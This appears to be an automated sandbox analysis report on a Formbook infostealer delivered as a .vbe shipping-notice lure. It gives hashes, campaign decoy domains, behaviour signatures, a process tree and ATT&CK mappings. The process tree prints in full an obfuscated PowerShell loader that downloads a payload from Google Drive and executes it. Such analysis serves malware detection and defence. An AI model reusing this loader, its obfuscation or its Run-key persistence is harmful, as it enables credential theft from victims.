formbook | 5345c78a28cb770a6742f203db63b35f7d0d1ad6e63c1f0780e9c8e21153ebc4

Analysis

max time kernel
150s
max time network
128s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 05:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Arrival Notice_AWB 4560943391.vbe
Size 17KB
Sample240710-gm124aselb
SHA256 5345c78a28cb770a6742f203db63b35f7d0d1ad6e63c1f0780e9c8e21153ebc4
MD5 93acfcb0399f16bd4f025265ca8f7f2f
SHA1 bc1ff10271f640e05fea062bfd519997265e40d2
SHA512 198a519ec3195b1fd061ca80f747eb132fbfe403c01c14513e3b00982705eaf12930cda09e8252149cdb0a8eecb3ef4a55fdde483ed7f2c5e7991766ab181cc3
SSDEEP 192:1EqYZckc8r8AykqpgwYnFtuH9zYJpAC1id5Av+aiPTVqS1fUVVn2nkYW:1EqYZXd8jfiuH9U3HmRAj
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

formbook ss24 persistence rat spyware stealer trojan

Malware Config

Extracted

Family

formbook

Version

Campaign

ss24

Decoy

agingwellhc.com
unikbetanggur.autos
eb2024yl.top
ja380.xyz
thehalcyon.studio
maudsoogrim.com
esteler10.click
mewtcp.xyz
www-zjbf1.club
kucinglucu.online
lunwencheck.com
65597.photos
erbxeu358h.top
startable.online
yousend.xyz
csharksg.com
centricoatings.com
ntruhslearn.xyz
achabakra.xyz
zuntool.com
jejbtl738a.top
runebinder.com
fidogmesvies170s63.online
online-unicsedritcorp.com
8208975.com
supporthq.life
protocolozeroacne.com
ocotilloco.com
xcolbu456t.xyz
ciclidossi.com
163875.shop
strangebedfellowstheatre.com
unikbetjeruk.homes
jhlktwyq.xyz
realearthpower.com
crucka.xyz
pkvnvtdb.com
profitablecasino.com
uspspsnami.top
thejerkspices.com
sivagiriashram.info
usavisa8loan.xyz
deoconverter.pro
investing-courses-66663.bond
2025tengxun171.lat
bluebirdbodyworkstudio.com
siblingstalk.com
lxcqx.com
amharicprofessional.pro
lijiangstory.net
barflybook.com
eldesigin.com
yd81w.top
head2toe.boutique
varun.works
next-genlion.com
awvd97.com
derindenizotel.com
vertibridge.xyz
qdfake609am.xyz
acc-pay.top
qblackbit.com
pallesudatissime.com
8548d.com
ygyqpswy.xyz

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook

Formbook payload 3 IoCs

rat

resource	yara_rule
behavioral1/memory/2656-42-0x0000000000400000-0x0000000000581000-memory.dmp	formbook
behavioral1/memory/2656-44-0x0000000000400000-0x0000000000581000-memory.dmp	formbook
behavioral1/memory/2076-47-0x0000000000070000-0x000000000009F000-memory.dmp	formbook

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\CJO8FTBPPFMT = "C:\\Program Files (x86)\\windows mail\\wab.exe"	cscript.exe
Key created	\Registry\User\S-1-5-21-3551809350-4263495960-1443967649-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	cscript.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2696	powershell.exe
5	2696	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
3	drive.google.com
8	drive.google.com
2	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2656	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1976	powershell.exe
2656	wab.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1976 set thread context of 2656	1976	powershell.exe	36
PID 2656 set thread context of 1192	2656	wab.exe	21
PID 2076 set thread context of 1192	2076	cscript.exe	21

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\User\S-1-5-21-3551809350-4263495960-1443967649-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	cscript.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2696	powershell.exe
1976	powershell.exe
1976	powershell.exe
2656	wab.exe
2656	wab.exe
2076	cscript.exe
2076	cscript.exe
2076	cscript.exe
2076	cscript.exe
2076	cscript.exe
2076	cscript.exe
2076	cscript.exe
2076	cscript.exe
2076	cscript.exe

Suspicious behavior: MapViewOfSection 8 IoCs

pid	Process
1976	powershell.exe
2656	wab.exe
2656	wab.exe
2656	wab.exe
2076	cscript.exe
2076	cscript.exe
2076	cscript.exe
2076	cscript.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	1976	powershell.exe
Token: SeDebugPrivilege	2656	wab.exe
Token: SeDebugPrivilege	2076	cscript.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 2916 wrote to memory of 2696	2916	WScript.exe	30
PID 2916 wrote to memory of 2696	2916	WScript.exe	30
PID 2916 wrote to memory of 2696	2916	WScript.exe	30
PID 2696 wrote to memory of 3012	2696	powershell.exe	32
PID 2696 wrote to memory of 3012	2696	powershell.exe	32
PID 2696 wrote to memory of 3012	2696	powershell.exe	32
PID 2696 wrote to memory of 1976	2696	powershell.exe	34
PID 2696 wrote to memory of 1976	2696	powershell.exe	34
PID 2696 wrote to memory of 1976	2696	powershell.exe	34
PID 2696 wrote to memory of 1976	2696	powershell.exe	34
PID 1976 wrote to memory of 2436	1976	powershell.exe	35
PID 1976 wrote to memory of 2436	1976	powershell.exe	35
PID 1976 wrote to memory of 2436	1976	powershell.exe	35
PID 1976 wrote to memory of 2436	1976	powershell.exe	35
PID 1976 wrote to memory of 2656	1976	powershell.exe	36
PID 1976 wrote to memory of 2656	1976	powershell.exe	36
PID 1976 wrote to memory of 2656	1976	powershell.exe	36
PID 1976 wrote to memory of 2656	1976	powershell.exe	36
PID 1976 wrote to memory of 2656	1976	powershell.exe	36
PID 1976 wrote to memory of 2656	1976	powershell.exe	36
PID 1192 wrote to memory of 2076	1192	Explorer.EXE	38
PID 1192 wrote to memory of 2076	1192	Explorer.EXE	38
PID 1192 wrote to memory of 2076	1192	Explorer.EXE	38
PID 1192 wrote to memory of 2076	1192	Explorer.EXE	38
PID 2076 wrote to memory of 804	2076	cscript.exe	39
PID 2076 wrote to memory of 804	2076	cscript.exe	39
PID 2076 wrote to memory of 804	2076	cscript.exe	39
PID 2076 wrote to memory of 804	2076	cscript.exe	39
PID 2076 wrote to memory of 804	2076	cscript.exe	39

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of WriteProcessMemory
PID:1192
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Arrival Notice_AWB 4560943391.vbe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Kludens Rogahns Asparagussen Kearn Herredmme sammenskrunings Revivalize Surprizing Cryptostoma Copihues Unaidedly Schmidts Chemoresistance Calked Plusfours Jinks Skibsvrfterne mindsteindtgternes Ozarkite Bemandinger18 Neencephala Dataliste Hvningernes Masonwork Kludens Rogahns Asparagussen Kearn Herredmme sammenskrunings Revivalize Surprizing Cryptostoma Copihues Unaidedly Schmidts Chemoresistance Calked Plusfours Jinks Skibsvrfterne mindsteindtgternes Ozarkite Bemandinger18 Neencephala Dataliste Hvningernes Masonwork';If (${host}.CurrentCulture) {$Prisstops++;}Function Sematology($Kandernes){$Beslutningsreferat=$Kandernes.Length-$Prisstops;$Affluently='SUBsTR';$Affluently+='ing';For( $Thermolyze=2;$Thermolyze -lt $Beslutningsreferat;$Thermolyze+=3){$Kludens+=$Kandernes.$Affluently.Invoke( $Thermolyze, $Prisstops);}$Kludens;}function Menecrates($Veratrize){ & ($Truddo) ($Veratrize);}$Unitarianism=Sematology '.aM .oFazDai ElHal .aAl/.r5 o.Pa0 I .e(AnWSvi n d MoM wDrs.a S NR T m Ga1Re0Pt..e0 ,;De SaW PiAtncl6Di4 i;Pe Mix F6ou4Ox;po MurM.v .:Ad1Bo2K 1M.. .0Ko)El F,GEne .cS.k PoUn/Ga2s.0.o1,o0Od0My1Ny0Ca1By TFO.iB.rD e efAgoCexSy/ .1b.2No1,y.St0Pi ';$Antireducing=Sematology 'h.URasDeeOvrPy- HA tg aeVenLatMo ';$Herredmme=Sematology ' FhUntE.tKop,ns ,:Re/ ./P,dP r i PvSeeA,.CogE,o DoHeg lOrePs. cSkoBymAm/Tru ,cnu?LneCox BpVoo,kr .tRe=Tjd So Mw ,n OlKhoStaSvdH,&,yi LdUn=Ub1 HuTaOInYle-P.NJ,5D 9SkC,irReIV.- BlUd3Pl7 S6 FTHi1IrfBiJHa6 VD aW R7KlLIseLeBAd5A,xBa3Ph3maNOvYOp ';$hollock=Sematology 'Fo> c ';$Truddo=Sematology 'AfiA,e ,xBe ';$Efterbevilger202='Surprizing';$Acetones = Sematology 'IneN c.ehproZ, De% .a,ep ,pPedGoaNitLjaQu%L.\F,SDiyUnn Jtspafog ,mUne.ut KsRe. IJI.iLezSa Mi&Ne&pr ,ee ecbahhao A LatPs ';Menecrates (Sematology ' K$M.gFilCioNabTiaC lRh:A HscaUdcMuk.nn Le kybleAnd r=m ( rc .m SdBu af/SecRe La$P Ak,c GePotMioVinDyeCasPr)Au ');Menecrates (Sematology 'T.$.igGrl ro.abdyaHylSp:skK ,e aOcrSun,e= P$ EH.ve .r Cr eWodE.m RmPaeSl.Hus,ipSpl Li St .(Be$.ihHvoChlfolDaoT cCoksu)Re ');Menecrates (Sematology ' O[ BN,ae t ,. ,S ,eSurSevReiMacKne ,PUoo,eiT n,otReMb a ,nNoa RgSteBlrS ] .:My: IS AeH.cAbu rKri UtC.y UP .rE o DtBloAdc MoP,lAn S= . c[f,NLoe StSc.BaS.ieM cSvu TrApi tBlyTrP Ar Ao.xt ,o ScReo OlLaTCey ep neun]Su: :SpTMolP.sEx1Ch2El ');$Herredmme=$Kearn[0];$Territoried= (Sematology 'Si$.ogDelImoD,bMiaHolA,:AlMI.ospnS,iA cPr=E NAueBrwCa-UvO .bQuj ieIncIdt.a ,aS Ry nsBet e,dm.o.SyN beOutDa. ,W,oebobTaCEtlVriSueSyn Ut');$Territoried+=$Hackneyed[1];Menecrates ($Territoried);Menecrates (Sematology 'Do$ SMBooP nNeiSpcL.. Hpoe,iatrdB ererKasDi[ D$ AT nInt yiHorN.eHedHauO.c ti InPegHy]Ep= V$OpUN nBii et iaUnrHii aaPunNyi CsL,mA, ');$Interterritorial=Sematology '.n$MeM No en .i c.i.AfDUdoH wAsn,ilNoo Ua tdKoF iiCpl e ,(Ud$InHTyeTrrRyrRieFjd OmGemCteDe,F.$M,D,saint.ha DlNoiInsAet ,er.) . ';$Dataliste=$Hackneyed[0];Menecrates (Sematology ' $Isg AlaroOvbBraVilUn:KaID.nP,fAclTeaPltR iWooYanUneOunLasFi=.n(E,TDieA.sCotDa-,dP ,aMetSah,i Ud$MoDPaaOstUna olafic.sKatOmesa)Aa ');while (!$Inflationens) {Menecrates (Sematology ' A$OvgS lVoo Rb IaOpl M:,rU anf.sWauA,bBejBeeUnc ,tPaiSvvPsePr= ,$Fot rBuuBreRn ') ;Menecrates $Interterritorial;Menecrates (Sematology ' ,S ,tDuaFor at D-ReSchlEne PeAnpKa ,e4Ro ');Menecrates (Sematology 'Ra$.egKalSuovrbBlaSvlLo:UnIOpnLifSglAfaSktFri poG,nHae NnL.sTe= F(AnT.ee .s Gt A-lePTeaLit nhAp Po$PaDSoaAatteaJelB.i TsSltBle,i)B. ') ;Menecrates (Sematology 'Kv$ pgChlHaoUfb BaEmlTr: .AZesGup,ia r ha.igB,uVas JsHaeH,n ,=Sp$Abg olVeo BbE a KlSc: R So SgMyaS,hRen VsOr+ A+ p%In$SuK KeToaTir,fnRe.C.cDeo.euU.n,at S ') ;$Herredmme=$Kearn[$Asparagussen];}$Upshooting131=299512;$Jeroen=27258;Menecrates (Sematology 'Ou$Eng ilf.oUebSua Plaf: TCS,r .yBrpGytH,o ks ftSaoChmPsa.r B,= B usG Se,et -PnC Tol.n FtC,e .nA.t M $GoD .aBrtElaFal.ai s Bt HeD. ');Menecrates (Sematology ' I$ Ng RlAvos bVea,alB,:InT,ehGaoCarDrhR iF lnid Fs S ,h=Fi Av[ HSguyFasBrtFoeSumVa.UnCKaoHjnImvHeeBerbotfl]Pi: M: lFSor eo RmAlBEnaPrs.aeSt6H.4CySSutGorAdiUpnIlg N( S$RaCAfrHiyi,pK.tV oUhsIst.ioSem SaSt)Dr ');Menecrates (Sematology 'N $KlgOxl ,oAdbpra Bl F:,iS ec Uhtjm SiVed,ntTesSp aa=Ch Li[ ,SBryensMutA,e ,m M.FlTB,e ,x.etA..A,EB,nCoc oFadaviWan BgUn]Di:De:BaA PSI,C.sISkIOv.ToGpeePrtE.S StDyrO.i Tn Hg u( B$stT,ihKao Gr hhMaiMalCod Vs F)un ');Menecrates (Sematology 'Ch$B gPel moTrbTaa ,l .:,lAKll pfPea rbI.eFrtFeiSts .e,erbreInnChdSoe Ss A=S.$ PS ,c.ohQumBii .dslt rsOc. Ds Nu,pb osBotFrr i,inChgMo(am$ErU .pB.sNoh loTio.dt .ikon egFo1Le3.n1Hy,La$ SJ.eeFirBuoTaeD,n G),a ');Menecrates $Alfabetiserendes;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2696
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Syntagmets.Jiz && echo t"
      4⤵
      PID:3012
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Kludens Rogahns Asparagussen Kearn Herredmme sammenskrunings Revivalize Surprizing Cryptostoma Copihues Unaidedly Schmidts Chemoresistance Calked Plusfours Jinks Skibsvrfterne mindsteindtgternes Ozarkite Bemandinger18 Neencephala Dataliste Hvningernes Masonwork Kludens Rogahns Asparagussen Kearn Herredmme sammenskrunings Revivalize Surprizing Cryptostoma Copihues Unaidedly Schmidts Chemoresistance Calked Plusfours Jinks Skibsvrfterne mindsteindtgternes Ozarkite Bemandinger18 Neencephala Dataliste Hvningernes Masonwork';If (${host}.CurrentCulture) {$Prisstops++;}Function Sematology($Kandernes){$Beslutningsreferat=$Kandernes.Length-$Prisstops;$Affluently='SUBsTR';$Affluently+='ing';For( $Thermolyze=2;$Thermolyze -lt $Beslutningsreferat;$Thermolyze+=3){$Kludens+=$Kandernes.$Affluently.Invoke( $Thermolyze, $Prisstops);}$Kludens;}function Menecrates($Veratrize){ & ($Truddo) ($Veratrize);}$Unitarianism=Sematology '.aM .oFazDai ElHal .aAl/.r5 o.Pa0 I .e(AnWSvi n d MoM wDrs.a S NR T m Ga1Re0Pt..e0 ,;De SaW PiAtncl6Di4 i;Pe Mix F6ou4Ox;po MurM.v .:Ad1Bo2K 1M.. .0Ko)El F,GEne .cS.k PoUn/Ga2s.0.o1,o0Od0My1Ny0Ca1By TFO.iB.rD e efAgoCexSy/ .1b.2No1,y.St0Pi ';$Antireducing=Sematology 'h.URasDeeOvrPy- HA tg aeVenLatMo ';$Herredmme=Sematology ' FhUntE.tKop,ns ,:Re/ ./P,dP r i PvSeeA,.CogE,o DoHeg lOrePs. cSkoBymAm/Tru ,cnu?LneCox BpVoo,kr .tRe=Tjd So Mw ,n OlKhoStaSvdH,&,yi LdUn=Ub1 HuTaOInYle-P.NJ,5D 9SkC,irReIV.- BlUd3Pl7 S6 FTHi1IrfBiJHa6 VD aW R7KlLIseLeBAd5A,xBa3Ph3maNOvYOp ';$hollock=Sematology 'Fo> c ';$Truddo=Sematology 'AfiA,e ,xBe ';$Efterbevilger202='Surprizing';$Acetones = Sematology 'IneN c.ehproZ, De% .a,ep ,pPedGoaNitLjaQu%L.\F,SDiyUnn Jtspafog ,mUne.ut KsRe. IJI.iLezSa Mi&Ne&pr ,ee ecbahhao A LatPs ';Menecrates (Sematology ' K$M.gFilCioNabTiaC lRh:A HscaUdcMuk.nn Le kybleAnd r=m ( rc .m SdBu af/SecRe La$P Ak,c GePotMioVinDyeCasPr)Au ');Menecrates (Sematology 'T.$.igGrl ro.abdyaHylSp:skK ,e aOcrSun,e= P$ EH.ve .r Cr eWodE.m RmPaeSl.Hus,ipSpl Li St .(Be$.ihHvoChlfolDaoT cCoksu)Re ');Menecrates (Sematology ' O[ BN,ae t ,. ,S ,eSurSevReiMacKne ,PUoo,eiT n,otReMb a ,nNoa RgSteBlrS ] .:My: IS AeH.cAbu rKri UtC.y UP .rE o DtBloAdc MoP,lAn S= . c[f,NLoe StSc.BaS.ieM cSvu TrApi tBlyTrP Ar Ao.xt ,o ScReo OlLaTCey ep neun]Su: :SpTMolP.sEx1Ch2El ');$Herredmme=$Kearn[0];$Territoried= (Sematology 'Si$.ogDelImoD,bMiaHolA,:AlMI.ospnS,iA cPr=E NAueBrwCa-UvO .bQuj ieIncIdt.a ,aS Ry nsBet e,dm.o.SyN beOutDa. ,W,oebobTaCEtlVriSueSyn Ut');$Territoried+=$Hackneyed[1];Menecrates ($Territoried);Menecrates (Sematology 'Do$ SMBooP nNeiSpcL.. Hpoe,iatrdB ererKasDi[ D$ AT nInt yiHorN.eHedHauO.c ti InPegHy]Ep= V$OpUN nBii et iaUnrHii aaPunNyi CsL,mA, ');$Interterritorial=Sematology '.n$MeM No en .i c.i.AfDUdoH wAsn,ilNoo Ua tdKoF iiCpl e ,(Ud$InHTyeTrrRyrRieFjd OmGemCteDe,F.$M,D,saint.ha DlNoiInsAet ,er.) . ';$Dataliste=$Hackneyed[0];Menecrates (Sematology ' $Isg AlaroOvbBraVilUn:KaID.nP,fAclTeaPltR iWooYanUneOunLasFi=.n(E,TDieA.sCotDa-,dP ,aMetSah,i Ud$MoDPaaOstUna olafic.sKatOmesa)Aa ');while (!$Inflationens) {Menecrates (Sematology ' A$OvgS lVoo Rb IaOpl M:,rU anf.sWauA,bBejBeeUnc ,tPaiSvvPsePr= ,$Fot rBuuBreRn ') ;Menecrates $Interterritorial;Menecrates (Sematology ' ,S ,tDuaFor at D-ReSchlEne PeAnpKa ,e4Ro ');Menecrates (Sematology 'Ra$.egKalSuovrbBlaSvlLo:UnIOpnLifSglAfaSktFri poG,nHae NnL.sTe= F(AnT.ee .s Gt A-lePTeaLit nhAp Po$PaDSoaAatteaJelB.i TsSltBle,i)B. ') ;Menecrates (Sematology 'Kv$ pgChlHaoUfb BaEmlTr: .AZesGup,ia r ha.igB,uVas JsHaeH,n ,=Sp$Abg olVeo BbE a KlSc: R So SgMyaS,hRen VsOr+ A+ p%In$SuK KeToaTir,fnRe.C.cDeo.euU.n,at S ') ;$Herredmme=$Kearn[$Asparagussen];}$Upshooting131=299512;$Jeroen=27258;Menecrates (Sematology 'Ou$Eng ilf.oUebSua Plaf: TCS,r .yBrpGytH,o ks ftSaoChmPsa.r B,= B usG Se,et -PnC Tol.n FtC,e .nA.t M $GoD .aBrtElaFal.ai s Bt HeD. ');Menecrates (Sematology ' I$ Ng RlAvos bVea,alB,:InT,ehGaoCarDrhR iF lnid Fs S ,h=Fi Av[ HSguyFasBrtFoeSumVa.UnCKaoHjnImvHeeBerbotfl]Pi: M: lFSor eo RmAlBEnaPrs.aeSt6H.4CySSutGorAdiUpnIlg N( S$RaCAfrHiyi,pK.tV oUhsIst.ioSem SaSt)Dr ');Menecrates (Sematology 'N $KlgOxl ,oAdbpra Bl F:,iS ec Uhtjm SiVed,ntTesSp aa=Ch Li[ ,SBryensMutA,e ,m M.FlTB,e ,x.etA..A,EB,nCoc oFadaviWan BgUn]Di:De:BaA PSI,C.sISkIOv.ToGpeePrtE.S StDyrO.i Tn Hg u( B$stT,ihKao Gr hhMaiMalCod Vs F)un ');Menecrates (Sematology 'Ch$B gPel moTrbTaa ,l .:,lAKll pfPea rbI.eFrtFeiSts .e,erbreInnChdSoe Ss A=S.$ PS ,c.ohQumBii .dslt rsOc. Ds Nu,pb osBotFrr i,inChgMo(am$ErU .pB.sNoh loTio.dt .ikon egFo1Le3.n1Hy,La$ SJ.eeFirBuoTaeD,n G),a ');Menecrates $Alfabetiserendes;"
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1976
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Syntagmets.Jiz && echo t"
        5⤵
        
        PID:2436
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        5⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        
        PID:2656
- C:\Windows\SysWOW64\cscript.exe
  "C:\Windows\SysWOW64\cscript.exe"
  2⤵
  - Adds policy Run key to start application
  - Suspicious use of SetThreadContext
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Program Files\Mozilla Firefox\Firefox.exe
    "C:\Program Files\Mozilla Firefox\Firefox.exe"
    3⤵
    PID:804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GODXTL4BZWCC494EK2UG.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GODXTL4BZWCC494EK2UG.temp
Size 7KB
SHA256 5b793c931fb4f3be09e7cef754d1bf27e5585078ee018ad9800249095942a10e
MD5 be0d7cb9d6bc4de7d0e55e8c2b515142
SHA1 286179c41f6b4845c2109af65ed39774fff8f1eb
SHA512 983c7b98e97785893fba76030374e3fc76d5f45c4e5f9c65ecdf9548081c9138550c3a22512bb7f00f5cbe7c3e31c242b4797e354e7dfbd010581c36afa3f7a9
SSDEEP 96:EJHOCNM80nqvsqvJCwonJHOCNM80nqvsEHyqvJCworM4yeQHmH7HbXlUVe:UH7YUoJH7YAHnorMcTH7Hbx
MD5 SHA1 SHA512 SSDEEP

Submit Download

Syntagmets.Jiz

Path C:\Users\Admin\AppData\Roaming\Syntagmets.Jiz
Size 425KB
SHA256 38cacda77c96dec08454c72398c8d2ba0fbb98e593700731352268137a9298d0
MD5 170887caa5009d57793d158248f3be7e
SHA1 cd191c4565897df50cb9ff3f7850b5e1bb470af4
SHA512 f5392ac462156b9114d68ad2fd52d5d4f81608ad9e23a08b15af6ef236e3b587132295002b417a58b5261505874534bb225316ec78537f006a2ba8ae628ed947
SSDEEP 12288:FHCFld9JhXrSgmCufxY2DhilzJfJSl10N:R4rax3tIhJU10N
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1976-15-0x0000000006760000-0x0000000009D0E000-memory.dmp

Download

memory/2076-47-0x0000000000070000-0x000000000009F000-memory.dmp

Download

memory/2076-46-0x0000000000890000-0x00000000008B2000-memory.dmp

Download

memory/2656-42-0x0000000000400000-0x0000000000581000-memory.dmp

Download

memory/2656-25-0x0000000000400000-0x0000000000581000-memory.dmp

Download

memory/2656-44-0x0000000000400000-0x0000000000581000-memory.dmp

Download

memory/2696-9-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Download

memory/2696-8-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Download

memory/2696-6-0x000000001B530000-0x000000001B812000-memory.dmp

Download

memory/2696-16-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Download

memory/2696-17-0x000007FEF611E000-0x000007FEF611F000-memory.dmp

Download

memory/2696-4-0x000007FEF611E000-0x000007FEF611F000-memory.dmp

Download

memory/2696-43-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Download

memory/2696-7-0x00000000022C0000-0x00000000022C8000-memory.dmp

Download

memory/2696-5-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Download